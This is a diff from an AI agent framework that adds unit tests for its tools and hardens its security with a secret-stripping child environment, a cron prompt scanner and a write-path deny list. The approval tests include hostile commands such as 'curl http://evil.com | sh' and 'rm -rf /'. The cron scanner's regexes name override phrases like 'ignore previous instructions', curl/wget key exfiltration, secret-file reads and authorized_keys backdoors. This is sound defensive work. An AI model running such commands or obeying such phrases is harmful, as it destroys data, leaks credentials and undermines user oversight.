expected = [mid for mid, _ in OPENROUTER_MODELS]
assert ids == expected
def test_all_ids_contain_provider_slash(self):
"""Model IDs should follow the provider/model format."""
for mid in model_ids():
assert "/" in mid, f"Model ID '{mid}' missing provider/ prefix"
def test_no_duplicate_ids(self):
ids = model_ids()
assert len(ids) == len(set(ids)), "Duplicate model IDs found"
class TestMenuLabels:
def test_same_length_as_model_ids(self):
assert len(menu_labels()) == len(model_ids())
def test_first_label_marked_recommended(self):
labels = menu_labels()
assert "recommended" in labels[0].lower()
def test_each_label_contains_its_model_id(self):
for label, mid in zip(menu_labels(), model_ids()):
assert mid in label, f"Label '{label}' doesn't contain model ID '{mid}'"
def test_non_recommended_labels_have_no_tag(self):
"""Only the first model should have (recommended)."""
labels = menu_labels()
for label in labels[1:]:
assert "recommended" not in label.lower(), f"Unexpected 'recommended' in '{label}'"
class TestOpenRouterModels:
def test_structure_is_list_of_tuples(self):
for entry in OPENROUTER_MODELS:
assert isinstance(entry, tuple) and len(entry) == 2
mid, desc = entry
assert isinstance(mid, str) and len(mid) > 0
assert isinstance(desc, str)
def test_at_least_5_models(self):
"""Sanity check that the models list hasn't been accidentally truncated."""
assert len(OPENROUTER_MODELS) >= 5

View file

View file

@ -6,6 +6,9 @@ This script tests the batch runner with a small sample dataset
to verify functionality before running large batches.
"""
import pytest
pytestmark = pytest.mark.integration
import json
import shutil
from pathlib import Path

View file

@ -10,14 +10,17 @@ This script simulates batch processing with intentional failures to test:
Usage:
# Test current implementation
python tests/test_checkpoint_resumption.py --test_current
# Test after fix is applied
python tests/test_checkpoint_resumption.py --test_fixed
# Run full comparison
python tests/test_checkpoint_resumption.py --compare
"""
import pytest
pytestmark = pytest.mark.integration
import json
import os
import shutil
@ -27,8 +30,8 @@ from pathlib import Path
from typing import List, Dict, Any
import traceback
# Add parent directory to path to import batch_runner
sys.path.insert(0, str(Path(__file__).parent.parent))
# Add project root to path to import batch_runner
sys.path.insert(0, str(Path(__file__).parent.parent.parent))
def create_test_dataset(num_prompts: int = 20) -> Path:

View file

@ -8,11 +8,14 @@ and can execute commands in Modal sandboxes.
Usage:
# Run with Modal backend
TERMINAL_ENV=modal python tests/test_modal_terminal.py
# Or run directly (will use whatever TERMINAL_ENV is set in .env)
python tests/test_modal_terminal.py
"""
import pytest
pytestmark = pytest.mark.integration
import os
import sys
import json
@ -24,7 +27,7 @@ try:
load_dotenv()
except ImportError:
# Manually load .env if dotenv not available
env_file = Path(__file__).parent.parent / ".env"
env_file = Path(__file__).parent.parent.parent / ".env"
if env_file.exists():
with open(env_file) as f:
for line in f:
@ -35,8 +38,8 @@ except ImportError:
value = value.strip().strip('"').strip("'")
os.environ.setdefault(key.strip(), value)
# Add parent directory to path for imports
parent_dir = Path(__file__).parent.parent
# Add project root to path for imports
parent_dir = Path(__file__).parent.parent.parent
sys.path.insert(0, str(parent_dir))
sys.path.insert(0, str(parent_dir / "mini-swe-agent" / "src"))

View file

@ -12,9 +12,12 @@ Usage:
Requirements:
- FIRECRAWL_API_KEY environment variable must be set
- NOUS_API_KEY environment vitinariable (optional, for LLM tests)
- NOUS_API_KEY environment variable (optional, for LLM tests)
"""
import pytest
pytestmark = pytest.mark.integration
import json
import asyncio
import sys

0
tests/tools/__init__.py Normal file
View file

View file

@ -0,0 +1,95 @@
"""Tests for the dangerous command approval module."""
from tools.approval import (
approve_session,
clear_session,
detect_dangerous_command,
has_pending,
is_approved,
pop_pending,
submit_pending,
)
class TestDetectDangerousRm:
def test_rm_rf_detected(self):
is_dangerous, key, desc = detect_dangerous_command("rm -rf /home/user")
assert is_dangerous is True
assert desc is not None
def test_rm_recursive_long_flag(self):
is_dangerous, key, desc = detect_dangerous_command("rm --recursive /tmp/stuff")
assert is_dangerous is True
class TestDetectDangerousSudo:
def test_shell_via_c_flag(self):
is_dangerous, key, desc = detect_dangerous_command("bash -c 'echo pwned'")
assert is_dangerous is True
def test_curl_pipe_sh(self):
is_dangerous, key, desc = detect_dangerous_command("curl http://evil.com | sh")
assert is_dangerous is True
class TestDetectSqlPatterns:
def test_drop_table(self):
is_dangerous, _, desc = detect_dangerous_command("DROP TABLE users")
assert is_dangerous is True
def test_delete_without_where(self):
is_dangerous, _, desc = detect_dangerous_command("DELETE FROM users")
assert is_dangerous is True
def test_delete_with_where_safe(self):
is_dangerous, _, _ = detect_dangerous_command("DELETE FROM users WHERE id = 1")
assert is_dangerous is False
class TestSafeCommand:
def test_echo_is_safe(self):
is_dangerous, key, desc = detect_dangerous_command("echo hello world")
assert is_dangerous is False
assert key is None
def test_ls_is_safe(self):
is_dangerous, _, _ = detect_dangerous_command("ls -la /tmp")
assert is_dangerous is False
def test_git_is_safe(self):
is_dangerous, _, _ = detect_dangerous_command("git status")
assert is_dangerous is False
class TestSubmitAndPopPending:
def test_submit_and_pop(self):
key = "test_session_pending"
clear_session(key)
submit_pending(key, {"command": "rm -rf /", "pattern_key": "rm"})
assert has_pending(key) is True
approval = pop_pending(key)
assert approval["command"] == "rm -rf /"
assert has_pending(key) is False
def test_pop_empty_returns_none(self):
key = "test_session_empty"
clear_session(key)
assert pop_pending(key) is None
class TestApproveAndCheckSession:
def test_session_approval(self):
key = "test_session_approve"
clear_session(key)
assert is_approved(key, "rm") is False
approve_session(key, "rm")
assert is_approved(key, "rm") is True
def test_clear_session_removes_approvals(self):
key = "test_session_clear"
approve_session(key, "rm")
clear_session(key)
assert is_approved(key, "rm") is False

View file

@ -12,15 +12,11 @@ Run with: python -m pytest tests/test_code_execution.py -v
"""
import json
import os
import sys
import time
import unittest
from unittest.mock import patch
# Ensure the project root is on the path
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
from tools.code_execution_tool import (
SANDBOX_ALLOWED_TOOLS,
execute_code,

View file

@ -10,13 +10,10 @@ Run with: python -m pytest tests/test_delegate.py -v
"""
import json
import os
import sys
import unittest
from unittest.mock import MagicMock, patch
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
from tools.delegate_tool import (
DELEGATE_BLOCKED_TOOLS,
DELEGATE_TASK_SCHEMA,

View file

@ -0,0 +1,202 @@
"""Tests for the file tools module (schema, handler wiring, error paths).
Tests verify tool schemas, handler dispatch, validation logic, and error
handling without requiring a running terminal environment.
"""
import json
from unittest.mock import MagicMock, patch
from tools.file_tools import (
FILE_TOOLS,
READ_FILE_SCHEMA,
WRITE_FILE_SCHEMA,
PATCH_SCHEMA,
SEARCH_FILES_SCHEMA,
)
class TestFileToolsList:
def test_has_expected_entries(self):
names = {t["name"] for t in FILE_TOOLS}
assert names == {"read_file", "write_file", "patch", "search_files"}
def test_each_entry_has_callable_function(self):
for tool in FILE_TOOLS:
assert callable(tool["function"]), f"{tool['name']} missing callable"
def test_schemas_have_required_fields(self):
"""All schemas must have name, description, and parameters with properties."""
for schema in [READ_FILE_SCHEMA, WRITE_FILE_SCHEMA, PATCH_SCHEMA, SEARCH_FILES_SCHEMA]:
assert "name" in schema
assert "description" in schema
assert "properties" in schema["parameters"]
class TestReadFileHandler:
@patch("tools.file_tools._get_file_ops")
def test_returns_file_content(self, mock_get):
mock_ops = MagicMock()
result_obj = MagicMock()
result_obj.to_dict.return_value = {"content": "line1\nline2", "total_lines": 2}
mock_ops.read_file.return_value = result_obj
mock_get.return_value = mock_ops
from tools.file_tools import read_file_tool
result = json.loads(read_file_tool("/tmp/test.txt"))
assert result["content"] == "line1\nline2"
assert result["total_lines"] == 2
mock_ops.read_file.assert_called_once_with("/tmp/test.txt", 1, 500)
@patch("tools.file_tools._get_file_ops")
def test_custom_offset_and_limit(self, mock_get):
mock_ops = MagicMock()
result_obj = MagicMock()
result_obj.to_dict.return_value = {"content": "line10", "total_lines": 50}
mock_ops.read_file.return_value = result_obj
mock_get.return_value = mock_ops
from tools.file_tools import read_file_tool
read_file_tool("/tmp/big.txt", offset=10, limit=20)
mock_ops.read_file.assert_called_once_with("/tmp/big.txt", 10, 20)
@patch("tools.file_tools._get_file_ops")
def test_exception_returns_error_json(self, mock_get):
mock_get.side_effect = RuntimeError("terminal not available")
from tools.file_tools import read_file_tool
result = json.loads(read_file_tool("/tmp/test.txt"))
assert "error" in result
assert "terminal not available" in result["error"]
class TestWriteFileHandler:
@patch("tools.file_tools._get_file_ops")
def test_writes_content(self, mock_get):
mock_ops = MagicMock()
result_obj = MagicMock()
result_obj.to_dict.return_value = {"status": "ok", "path": "/tmp/out.txt", "bytes": 13}
mock_ops.write_file.return_value = result_obj
mock_get.return_value = mock_ops
from tools.file_tools import write_file_tool
result = json.loads(write_file_tool("/tmp/out.txt", "hello world!\n"))
assert result["status"] == "ok"
mock_ops.write_file.assert_called_once_with("/tmp/out.txt", "hello world!\n")
@patch("tools.file_tools._get_file_ops")
def test_exception_returns_error_json(self, mock_get):
mock_get.side_effect = PermissionError("read-only filesystem")
from tools.file_tools import write_file_tool
result = json.loads(write_file_tool("/tmp/out.txt", "data"))
assert "error" in result
assert "read-only" in result["error"]
class TestPatchHandler:
@patch("tools.file_tools._get_file_ops")
def test_replace_mode_calls_patch_replace(self, mock_get):
mock_ops = MagicMock()
result_obj = MagicMock()
result_obj.to_dict.return_value = {"status": "ok", "replacements": 1}
mock_ops.patch_replace.return_value = result_obj
mock_get.return_value = mock_ops
from tools.file_tools import patch_tool
result = json.loads(patch_tool(
mode="replace", path="/tmp/f.py",
old_string="foo", new_string="bar"
))
assert result["status"] == "ok"
mock_ops.patch_replace.assert_called_once_with("/tmp/f.py", "foo", "bar", False)
@patch("tools.file_tools._get_file_ops")
def test_replace_mode_replace_all_flag(self, mock_get):
mock_ops = MagicMock()
result_obj = MagicMock()
result_obj.to_dict.return_value = {"status": "ok", "replacements": 5}
mock_ops.patch_replace.return_value = result_obj
mock_get.return_value = mock_ops
from tools.file_tools import patch_tool
patch_tool(mode="replace", path="/tmp/f.py",
old_string="x", new_string="y", replace_all=True)
mock_ops.patch_replace.assert_called_once_with("/tmp/f.py", "x", "y", True)
@patch("tools.file_tools._get_file_ops")
def test_replace_mode_missing_path_errors(self, mock_get):
from tools.file_tools import patch_tool
result = json.loads(patch_tool(mode="replace", path=None, old_string="a", new_string="b"))
assert "error" in result
@patch("tools.file_tools._get_file_ops")
def test_replace_mode_missing_strings_errors(self, mock_get):
from tools.file_tools import patch_tool
result = json.loads(patch_tool(mode="replace", path="/tmp/f.py", old_string=None, new_string="b"))
assert "error" in result
@patch("tools.file_tools._get_file_ops")
def test_patch_mode_calls_patch_v4a(self, mock_get):
mock_ops = MagicMock()
result_obj = MagicMock()
result_obj.to_dict.return_value = {"status": "ok", "operations": 1}
mock_ops.patch_v4a.return_value = result_obj
mock_get.return_value = mock_ops
from tools.file_tools import patch_tool
result = json.loads(patch_tool(mode="patch", patch="*** Begin Patch\n..."))
assert result["status"] == "ok"
mock_ops.patch_v4a.assert_called_once()
@patch("tools.file_tools._get_file_ops")
def test_patch_mode_missing_content_errors(self, mock_get):
from tools.file_tools import patch_tool
result = json.loads(patch_tool(mode="patch", patch=None))
assert "error" in result
@patch("tools.file_tools._get_file_ops")
def test_unknown_mode_errors(self, mock_get):
from tools.file_tools import patch_tool
result = json.loads(patch_tool(mode="invalid_mode"))
assert "error" in result
assert "Unknown mode" in result["error"]
class TestSearchHandler:
@patch("tools.file_tools._get_file_ops")
def test_search_calls_file_ops(self, mock_get):
mock_ops = MagicMock()
result_obj = MagicMock()
result_obj.to_dict.return_value = {"matches": ["file1.py:3:match"]}
mock_ops.search.return_value = result_obj
mock_get.return_value = mock_ops
from tools.file_tools import search_tool
result = json.loads(search_tool(pattern="TODO", target="content", path="."))
assert "matches" in result
mock_ops.search.assert_called_once()
@patch("tools.file_tools._get_file_ops")
def test_search_passes_all_params(self, mock_get):
mock_ops = MagicMock()
result_obj = MagicMock()
result_obj.to_dict.return_value = {"matches": []}
mock_ops.search.return_value = result_obj
mock_get.return_value = mock_ops
from tools.file_tools import search_tool
search_tool(pattern="class", target="files", path="/src",
file_glob="*.py", limit=10, offset=5, output_mode="count", context=2)
mock_ops.search.assert_called_once_with(
pattern="class", path="/src", target="files", file_glob="*.py",
limit=10, offset=5, output_mode="count", context=2,
)
@patch("tools.file_tools._get_file_ops")
def test_search_exception_returns_error(self, mock_get):
mock_get.side_effect = RuntimeError("no terminal")
from tools.file_tools import search_tool
result = json.loads(search_tool(pattern="x"))
assert "error" in result

View file

@ -0,0 +1,67 @@
"""Tests for the fuzzy matching module."""
from tools.fuzzy_match import fuzzy_find_and_replace
class TestExactMatch:
def test_single_replacement(self):
content = "hello world"
new, count, err = fuzzy_find_and_replace(content, "hello", "hi")
assert err is None
assert count == 1
assert new == "hi world"
def test_no_match(self):
content = "hello world"
new, count, err = fuzzy_find_and_replace(content, "xyz", "abc")
assert count == 0
assert err is not None
assert new == content
def test_empty_old_string(self):
new, count, err = fuzzy_find_and_replace("abc", "", "x")
assert count == 0
assert err is not None
def test_identical_strings(self):
new, count, err = fuzzy_find_and_replace("abc", "abc", "abc")
assert count == 0
assert "identical" in err
def test_multiline_exact(self):
content = "line1\nline2\nline3"
new, count, err = fuzzy_find_and_replace(content, "line1\nline2", "replaced")
assert err is None
assert count == 1
assert new == "replaced\nline3"
class TestWhitespaceDifference:
def test_extra_spaces_match(self):
content = "def foo( x, y ):"
new, count, err = fuzzy_find_and_replace(content, "def foo( x, y ):", "def bar(x, y):")
assert count == 1
assert "bar" in new
class TestIndentDifference:
def test_different_indentation(self):
content = " def foo():\n pass"
new, count, err = fuzzy_find_and_replace(content, "def foo():\n pass", "def bar():\n return 1")
assert count == 1
assert "bar" in new
class TestReplaceAll:
def test_multiple_matches_without_flag_errors(self):
content = "aaa bbb aaa"
new, count, err = fuzzy_find_and_replace(content, "aaa", "ccc", replace_all=False)
assert count == 0
assert "Found 2 matches" in err
def test_multiple_matches_with_flag(self):
content = "aaa bbb aaa"
new, count, err = fuzzy_find_and_replace(content, "aaa", "ccc", replace_all=True)
assert err is None
assert count == 2
assert new == "ccc bbb ccc"

View file

@ -0,0 +1,139 @@
"""Tests for the V4A patch format parser."""
from tools.patch_parser import (
OperationType,
parse_v4a_patch,
)
class TestParseUpdateFile:
def test_basic_update(self):
patch = """\
*** Begin Patch
*** Update File: src/main.py
@@ def greet @@
def greet():
- print("hello")
+ print("hi")
*** End Patch"""
ops, err = parse_v4a_patch(patch)
assert err is None
assert len(ops) == 1
op = ops[0]
assert op.operation == OperationType.UPDATE
assert op.file_path == "src/main.py"
assert len(op.hunks) == 1
hunk = op.hunks[0]
assert hunk.context_hint == "def greet"
prefixes = [l.prefix for l in hunk.lines]
assert " " in prefixes
assert "-" in prefixes
assert "+" in prefixes
def test_multiple_hunks(self):
patch = """\
*** Begin Patch
*** Update File: f.py
@@ first @@
a
-b
+c
@@ second @@
x
-y
+z
*** End Patch"""
ops, err = parse_v4a_patch(patch)
assert err is None
assert len(ops) == 1
assert len(ops[0].hunks) == 2
assert ops[0].hunks[0].context_hint == "first"
assert ops[0].hunks[1].context_hint == "second"
class TestParseAddFile:
def test_add_file(self):
patch = """\
*** Begin Patch
*** Add File: new/module.py
+import os
+
+print("hello")
*** End Patch"""
ops, err = parse_v4a_patch(patch)
assert err is None
assert len(ops) == 1
op = ops[0]
assert op.operation == OperationType.ADD
assert op.file_path == "new/module.py"
assert len(op.hunks) == 1
contents = [l.content for l in op.hunks[0].lines if l.prefix == "+"]
assert contents[0] == "import os"
assert contents[2] == 'print("hello")'
class TestParseDeleteFile:
def test_delete_file(self):
patch = """\
*** Begin Patch
*** Delete File: old/stuff.py
*** End Patch"""
ops, err = parse_v4a_patch(patch)
assert err is None
assert len(ops) == 1
assert ops[0].operation == OperationType.DELETE
assert ops[0].file_path == "old/stuff.py"
class TestParseMoveFile:
def test_move_file(self):
patch = """\
*** Begin Patch
*** Move File: old/path.py -> new/path.py
*** End Patch"""
ops, err = parse_v4a_patch(patch)
assert err is None
assert len(ops) == 1
assert ops[0].operation == OperationType.MOVE
assert ops[0].file_path == "old/path.py"
assert ops[0].new_path == "new/path.py"
class TestParseInvalidPatch:
def test_empty_patch_returns_empty_ops(self):
ops, err = parse_v4a_patch("")
assert err is None
assert ops == []
def test_no_begin_marker_still_parses(self):
patch = """\
*** Update File: f.py
line1
-old
+new
*** End Patch"""
ops, err = parse_v4a_patch(patch)
assert err is None
assert len(ops) == 1
def test_multiple_operations(self):
patch = """\
*** Begin Patch
*** Add File: a.py
+content_a
*** Delete File: b.py
*** Update File: c.py
keep
-remove
+add
*** End Patch"""
ops, err = parse_v4a_patch(patch)
assert err is None
assert len(ops) == 3
assert ops[0].operation == OperationType.ADD
assert ops[1].operation == OperationType.DELETE
assert ops[2].operation == OperationType.UPDATE

View file

@ -0,0 +1,121 @@
"""Tests for the central tool registry."""
import json
from tools.registry import ToolRegistry
def _dummy_handler(args, **kwargs):
return json.dumps({"ok": True})
def _make_schema(name="test_tool"):
return {"name": name, "description": f"A {name}", "parameters": {"type": "object", "properties": {}}}
class TestRegisterAndDispatch:
def test_register_and_dispatch(self):
reg = ToolRegistry()
reg.register(
name="alpha",
toolset="core",
schema=_make_schema("alpha"),
handler=_dummy_handler,
)
result = json.loads(reg.dispatch("alpha", {}))
assert result == {"ok": True}
def test_dispatch_passes_args(self):
reg = ToolRegistry()
def echo_handler(args, **kw):
return json.dumps(args)
reg.register(name="echo", toolset="core", schema=_make_schema("echo"), handler=echo_handler)
result = json.loads(reg.dispatch("echo", {"msg": "hi"}))
assert result == {"msg": "hi"}
class TestGetDefinitions:
def test_returns_openai_format(self):
reg = ToolRegistry()
reg.register(name="t1", toolset="s1", schema=_make_schema("t1"), handler=_dummy_handler)
reg.register(name="t2", toolset="s1", schema=_make_schema("t2"), handler=_dummy_handler)
defs = reg.get_definitions({"t1", "t2"})
assert len(defs) == 2
assert all(d["type"] == "function" for d in defs)
names = {d["function"]["name"] for d in defs}
assert names == {"t1", "t2"}
def test_skips_unavailable_tools(self):
reg = ToolRegistry()
reg.register(
name="available",
toolset="s",
schema=_make_schema("available"),
handler=_dummy_handler,
check_fn=lambda: True,
)
reg.register(
name="unavailable",
toolset="s",
schema=_make_schema("unavailable"),
handler=_dummy_handler,
check_fn=lambda: False,
)
defs = reg.get_definitions({"available", "unavailable"})
assert len(defs) == 1
assert defs[0]["function"]["name"] == "available"
class TestUnknownToolDispatch:
def test_returns_error_json(self):
reg = ToolRegistry()
result = json.loads(reg.dispatch("nonexistent", {}))
assert "error" in result
assert "Unknown tool" in result["error"]
class TestToolsetAvailability:
def test_no_check_fn_is_available(self):
reg = ToolRegistry()
reg.register(name="t", toolset="free", schema=_make_schema(), handler=_dummy_handler)
assert reg.is_toolset_available("free") is True
def test_check_fn_controls_availability(self):
reg = ToolRegistry()
reg.register(
name="t",
toolset="locked",
schema=_make_schema(),
handler=_dummy_handler,
check_fn=lambda: False,
)
assert reg.is_toolset_available("locked") is False
def test_check_toolset_requirements(self):
reg = ToolRegistry()
reg.register(name="a", toolset="ok", schema=_make_schema(), handler=_dummy_handler, check_fn=lambda: True)
reg.register(name="b", toolset="nope", schema=_make_schema(), handler=_dummy_handler, check_fn=lambda: False)
reqs = reg.check_toolset_requirements()
assert reqs["ok"] is True
assert reqs["nope"] is False
def test_get_all_tool_names(self):
reg = ToolRegistry()
reg.register(name="z_tool", toolset="s", schema=_make_schema(), handler=_dummy_handler)
reg.register(name="a_tool", toolset="s", schema=_make_schema(), handler=_dummy_handler)
assert reg.get_all_tool_names() == ["a_tool", "z_tool"]
def test_handler_exception_returns_error(self):
reg = ToolRegistry()
def bad_handler(args, **kw):
raise RuntimeError("boom")
reg.register(name="bad", toolset="s", schema=_make_schema(), handler=bad_handler)
result = json.loads(reg.dispatch("bad", {}))
assert "error" in result
assert "RuntimeError" in result["error"]

View file

@ -0,0 +1,101 @@
"""Tests for the todo tool module."""
import json
from tools.todo_tool import TodoStore, todo_tool
class TestWriteAndRead:
def test_write_replaces_list(self):
store = TodoStore()
items = [
{"id": "1", "content": "First task", "status": "pending"},
{"id": "2", "content": "Second task", "status": "in_progress"},
]
result = store.write(items)
assert len(result) == 2
assert result[0]["id"] == "1"
assert result[1]["status"] == "in_progress"
def test_read_returns_copy(self):
store = TodoStore()
store.write([{"id": "1", "content": "Task", "status": "pending"}])
items = store.read()
items[0]["content"] = "MUTATED"
assert store.read()[0]["content"] == "Task"
class TestHasItems:
def test_empty_store(self):
store = TodoStore()
assert store.has_items() is False
def test_non_empty_store(self):
store = TodoStore()
store.write([{"id": "1", "content": "x", "status": "pending"}])
assert store.has_items() is True
class TestFormatForInjection:
def test_empty_returns_none(self):
store = TodoStore()
assert store.format_for_injection() is None
def test_non_empty_has_markers(self):
store = TodoStore()
store.write([
{"id": "1", "content": "Do thing", "status": "completed"},
{"id": "2", "content": "Next", "status": "pending"},
])
text = store.format_for_injection()
assert "[x]" in text
assert "[ ]" in text
assert "Do thing" in text
assert "context compression" in text.lower()
class TestMergeMode:
def test_update_existing_by_id(self):
store = TodoStore()
store.write([
{"id": "1", "content": "Original", "status": "pending"},
])
store.write(
[{"id": "1", "status": "completed"}],
merge=True,
)
items = store.read()
assert len(items) == 1
assert items[0]["status"] == "completed"
assert items[0]["content"] == "Original"
def test_merge_appends_new(self):
store = TodoStore()
store.write([{"id": "1", "content": "First", "status": "pending"}])
store.write(
[{"id": "2", "content": "Second", "status": "pending"}],
merge=True,
)
items = store.read()
assert len(items) == 2
class TestTodoToolFunction:
def test_read_mode(self):
store = TodoStore()
store.write([{"id": "1", "content": "Task", "status": "pending"}])
result = json.loads(todo_tool(store=store))
assert result["summary"]["total"] == 1
assert result["summary"]["pending"] == 1
def test_write_mode(self):
store = TodoStore()
result = json.loads(todo_tool(
todos=[{"id": "1", "content": "New", "status": "in_progress"}],
store=store,
))
assert result["summary"]["in_progress"] == 1
def test_no_store_returns_error(self):
result = json.loads(todo_tool())
assert "error" in result

View file

@ -381,7 +381,20 @@ def execute_code(
rpc_thread.start()
# --- Spawn child process ---
child_env = os.environ.copy()
# Build a minimal environment for the child. We intentionally exclude
# API keys and tokens to prevent credential exfiltration from LLM-
# generated scripts. The child accesses tools via RPC, not direct API.
_SAFE_ENV_PREFIXES = ("PATH", "HOME", "USER", "LANG", "LC_", "TERM",
"TMPDIR", "TMP", "TEMP", "SHELL", "LOGNAME",
"XDG_", "PYTHONPATH", "VIRTUAL_ENV", "CONDA")
_SECRET_SUBSTRINGS = ("KEY", "TOKEN", "SECRET", "PASSWORD", "CREDENTIAL",
"PASSWD", "AUTH")
child_env = {}
for k, v in os.environ.items():
if any(s in k.upper() for s in _SECRET_SUBSTRINGS):
continue
if any(k.startswith(p) for p in _SAFE_ENV_PREFIXES):
child_env[k] = v
child_env["HERMES_RPC_SOCKET"] = sock_path
child_env["PYTHONDONTWRITEBYTECODE"] = "1"

View file

@ -10,6 +10,7 @@ The prompt must contain ALL necessary information.
import json
import os
import re
from typing import Optional
# Import from cron module (will be available when properly installed)
@ -20,6 +21,41 @@ sys.path.insert(0, str(Path(__file__).parent.parent))
from cron.jobs import create_job, get_job, list_jobs, remove_job
# ---------------------------------------------------------------------------
# Cron prompt scanning — critical-severity patterns only, since cron prompts
# run in fresh sessions with full tool access.
# ---------------------------------------------------------------------------
_CRON_THREAT_PATTERNS = [
(r'ignore\s+(previous|all|above|prior)\s+instructions', "prompt_injection"),
(r'do\s+not\s+tell\s+the\s+user', "deception_hide"),
(r'system\s+prompt\s+override', "sys_prompt_override"),
(r'disregard\s+(your|all|any)\s+(instructions|rules|guidelines)', "disregard_rules"),
(r'curl\s+[^\n]*\$\{?\w*(KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|API)', "exfil_curl"),
(r'wget\s+[^\n]*\$\{?\w*(KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|API)', "exfil_wget"),
(r'cat\s+[^\n]*(\.env|credentials|\.netrc|\.pgpass)', "read_secrets"),
(r'authorized_keys', "ssh_backdoor"),
(r'/etc/sudoers|visudo', "sudoers_mod"),
(r'rm\s+-rf\s+/', "destructive_root_rm"),
]
_CRON_INVISIBLE_CHARS = {
'\u200b', '\u200c', '\u200d', '\u2060', '\ufeff',
'\u202a', '\u202b', '\u202c', '\u202d', '\u202e',
}
def _scan_cron_prompt(prompt: str) -> str:
"""Scan a cron prompt for critical threats. Returns error string if blocked, else empty."""
for char in _CRON_INVISIBLE_CHARS:
if char in prompt:
return f"Blocked: prompt contains invisible unicode U+{ord(char):04X} (possible injection)."
for pattern, pid in _CRON_THREAT_PATTERNS:
if re.search(pattern, prompt, re.IGNORECASE):
return f"Blocked: prompt matches threat pattern '{pid}'. Cron prompts must not contain injection or exfiltration payloads."
return ""
# =============================================================================
# Tool: schedule_cronjob
# =============================================================================
@ -71,6 +107,11 @@ def schedule_cronjob(
Returns:
JSON with job_id, next_run time, and confirmation
"""
# Scan prompt for critical threats before scheduling
scan_error = _scan_cron_prompt(prompt)
if scan_error:
return json.dumps({"success": False, "error": scan_error}, indent=2)
# Get origin info from environment if available
origin = None
origin_platform = os.getenv("HERMES_SESSION_PLATFORM")

View file

@ -99,9 +99,14 @@ def _run_single_child(
child_prompt = _build_child_system_prompt(goal, context)
try:
# Extract parent's API key so subagents inherit auth (e.g. Nous Portal).
parent_api_key = getattr(parent_agent, "api_key", None)
if (not parent_api_key) and hasattr(parent_agent, "_client_kwargs"):
parent_api_key = parent_agent._client_kwargs.get("api_key")
child = AIAgent(
base_url=parent_agent.base_url,
api_key=getattr(parent_agent, "api_key", None),
api_key=parent_api_key,
model=model or parent_agent.model,
provider=getattr(parent_agent, "provider", None),
api_mode=getattr(parent_agent, "api_mode", None),

View file

@ -7,6 +7,7 @@ and optional filesystem persistence via `docker commit`/`docker create --image`.
import logging
import os
import subprocess
import sys
import threading
import time
from typing import Optional
@ -30,6 +31,9 @@ _SECURITY_ARGS = [
]
_storage_opt_ok: Optional[bool] = None # cached result across instances
class DockerEnvironment(BaseEnvironment):
"""Hardened Docker container execution with resource limits and persistence.
@ -44,7 +48,7 @@ class DockerEnvironment(BaseEnvironment):
def __init__(
self,
image: str,
cwd: str = "~",
cwd: str = "/root",
timeout: int = 60,
cpu: float = 0,
memory: int = 0,
@ -53,6 +57,8 @@ class DockerEnvironment(BaseEnvironment):
task_id: str = "default",
network: bool = True,
):
if cwd == "~":
cwd = "/root"
super().__init__(cwd=cwd, timeout=timeout)
self._base_image = image
self._persistent = persistent_filesystem
@ -67,7 +73,7 @@ class DockerEnvironment(BaseEnvironment):
resource_args.extend(["--cpus", str(cpu)])
if memory > 0:
resource_args.extend(["--memory", f"{memory}m"])
if disk > 0:
if disk > 0 and sys.platform != "darwin" and self._storage_opt_supported():
resource_args.extend(["--storage-opt", f"size={disk}m"])
if not network:
resource_args.append("--network=none")
@ -102,11 +108,50 @@ class DockerEnvironment(BaseEnvironment):
all_run_args = list(_SECURITY_ARGS) + writable_args + resource_args
self._inner = _Docker(
image=effective_image, cwd=cwd, timeout=timeout,
image=image, cwd=cwd, timeout=timeout,
run_args=all_run_args,
)
self._container_id = self._inner.container_id
@staticmethod
def _storage_opt_supported() -> bool:
"""Check if Docker's storage driver supports --storage-opt size=.
Only overlay2 on XFS with pquota supports per-container disk quotas.
Ubuntu (and most distros) default to ext4, where this flag errors out.
"""
global _storage_opt_ok
if _storage_opt_ok is not None:
return _storage_opt_ok
try:
result = subprocess.run(
["docker", "info", "--format", "{{.Driver}}"],
capture_output=True, text=True, timeout=10,
)
driver = result.stdout.strip().lower()
if driver != "overlay2":
_storage_opt_ok = False
return False
# overlay2 only supports storage-opt on XFS with pquota.
# Probe by attempting a dry-ish run — the fastest reliable check.
probe = subprocess.run(
["docker", "create", "--storage-opt", "size=1m", "hello-world"],
capture_output=True, text=True, timeout=15,
)
if probe.returncode == 0:
# Clean up the created container
container_id = probe.stdout.strip()
if container_id:
subprocess.run(["docker", "rm", container_id],
capture_output=True, timeout=5)
_storage_opt_ok = True
else:
_storage_opt_ok = False
except Exception:
_storage_opt_ok = False
logger.debug("Docker --storage-opt support: %s", _storage_opt_ok)
return _storage_opt_ok
def execute(self, command: str, cwd: str = "", *,
timeout: int | None = None,
stdin_data: str | None = None) -> dict:

View file

@ -35,6 +35,53 @@ from typing import Optional, List, Dict, Any, Tuple
from pathlib import Path
# ---------------------------------------------------------------------------
# Write-path deny list — blocks writes to sensitive system/credential files
# ---------------------------------------------------------------------------
_HOME = str(Path.home())
WRITE_DENIED_PATHS = {
os.path.join(_HOME, ".ssh", "authorized_keys"),
os.path.join(_HOME, ".ssh", "id_rsa"),
os.path.join(_HOME, ".ssh", "id_ed25519"),
os.path.join(_HOME, ".ssh", "config"),
os.path.join(_HOME, ".hermes", ".env"),
os.path.join(_HOME, ".bashrc"),
os.path.join(_HOME, ".zshrc"),
os.path.join(_HOME, ".profile"),
os.path.join(_HOME, ".bash_profile"),
os.path.join(_HOME, ".zprofile"),
os.path.join(_HOME, ".netrc"),
os.path.join(_HOME, ".pgpass"),
os.path.join(_HOME, ".npmrc"),
os.path.join(_HOME, ".pypirc"),
"/etc/sudoers",
"/etc/passwd",
"/etc/shadow",
}
WRITE_DENIED_PREFIXES = [
os.path.join(_HOME, ".ssh") + os.sep,
os.path.join(_HOME, ".aws") + os.sep,
os.path.join(_HOME, ".gnupg") + os.sep,
os.path.join(_HOME, ".kube") + os.sep,
"/etc/sudoers.d" + os.sep,
"/etc/systemd" + os.sep,
]
def _is_write_denied(path: str) -> bool:
"""Return True if path is on the write deny list."""
resolved = os.path.realpath(os.path.expanduser(path))
if resolved in WRITE_DENIED_PATHS:
return True
for prefix in WRITE_DENIED_PREFIXES:
if resolved.startswith(prefix):
return True
return False
# =============================================================================
# Result Data Classes
# =============================================================================
